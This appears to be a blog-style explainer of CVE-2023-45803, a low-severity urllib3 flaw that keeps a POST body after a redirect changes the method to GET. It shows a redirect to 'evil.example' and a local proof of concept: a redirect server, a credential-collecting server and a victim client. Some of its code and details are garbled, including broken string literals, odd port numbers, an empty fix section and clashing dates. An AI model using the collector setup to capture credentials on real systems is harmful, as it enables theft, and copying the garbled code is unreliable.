On November 8, 2023, a low-severity vulnerability was publicly disclosed for the popular Python HTTP client library, urllib3. Marked as CVE-2023-45803, this bug exposes a flaw in how urllib3 handles HTTP redirects — especially those involving method changes (like POST being redirected to GET). This long read takes an exclusive, easy-to-understand look at what the issue means, how it can (and can't) be exploited, and what you should do to stay safe.
Quick Summary
- Product affected: urllib3
Severity: Low (requires multiple rare conditions)
- Main Impact: Request body (e.g., passwords, sensitive data) could be inadvertently leaked to an unexpected or malicious server after an unsafe redirect.
How HTTP Redirects Normally Work
When you make a request to a server, sometimes the server wants to send you elsewhere. It responds with a redirect status code (301, 302, or 303), often paired with a Location header:
HTTP/1.1 302 Found
Location: https://new-site.com/here
Web browsers and leading HTTP clients (like curl, requests, etc.) follow a simple rule:
Remove the request body for the second request
Why?
You don't want to accidentally re-submit sensitive form data to another server.
The urllib3 Vulnerability
Before the fix, urllib3 did the first part right: changed the method to GET after a redirect, as required by RFC 7231 Section 6.4.4.
BUT:
It forgot to remove the body! So if your code posted e.g., login form data, urllib3 would send that POST body... now in a GET request to the redirected location.
Example: The Bad Flow
import urllib3
http = urllib3.PoolManager()
response = http.request(
"POST",
"https://trusted-server.com/login";,
fields={'username': 'john', 'password': 'hunter2'}
)
Suppose trusted-server.com gets compromised and starts issuing
HTTP/1.1 302 Found
Location: https://evil.example/malicious
urllib3 (before the fix) will follow and re-issue
GET /malicious HTTP/1.1
Host: evil.example
username=john&password=hunter2
Now, your sensitive data intended for the trusted site ends up with the attacker!
2. The site you trust gets hacked, and it redirects you to a malicious domain.
- Most services don’t expect to be redirected during authentication or sensitive operations, so real-world exposure is rare.
PoC: Exploit in the Wild (for educational purposes)
Here's a minimal demo with an attacker-in-the-middle scenario.
Attacker's redirect site
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header('Location', 'http://localhost:8888/stolen';)
self.end_headers()
server = HTTPServer(('localhost', 808), RedirectHandler)
server.serve_forever()
Server collecting credentials
from http.server import BaseHTTPRequestHandler, HTTPServer
class Collector(BaseHTTPRequestHandler):
def do_GET(self):
# This will print the POST body received as GET!
content_length = int(self.headers.get('Content-Length', ))
body = self.rfile.read(content_length).decode()
print("Got body:", body)
self.send_response(200)
self.end_headers()
server = HTTPServer(('localhost', 8888), Collector)
server.serve_forever()
Victim's client (using urllib3 < 1.26.18)
import urllib3
http = urllib3.PoolManager()
# Point to attacker redirect server
http.request(
"POST",
"http://localhost:808/";,
fields={'username': 'alice', 'password': 'password123'}
)
# The Collector prints Got body: ...
Result? The Collector server will print the sensitive username and password!
`
`
- Manually handle 301/302/303:
Final Thoughts and Resources
- This bug is hard to exploit on its own: it relies on the original service becoming malicious and you sending private info in the body.
References
- Official Advisory & Fix
- CVE record
- Relevant HTTP RFC
Timeline
Published on: 10/17/2023 20:15:10 UTC
Last modified on: 11/03/2023 22:15:11 UTC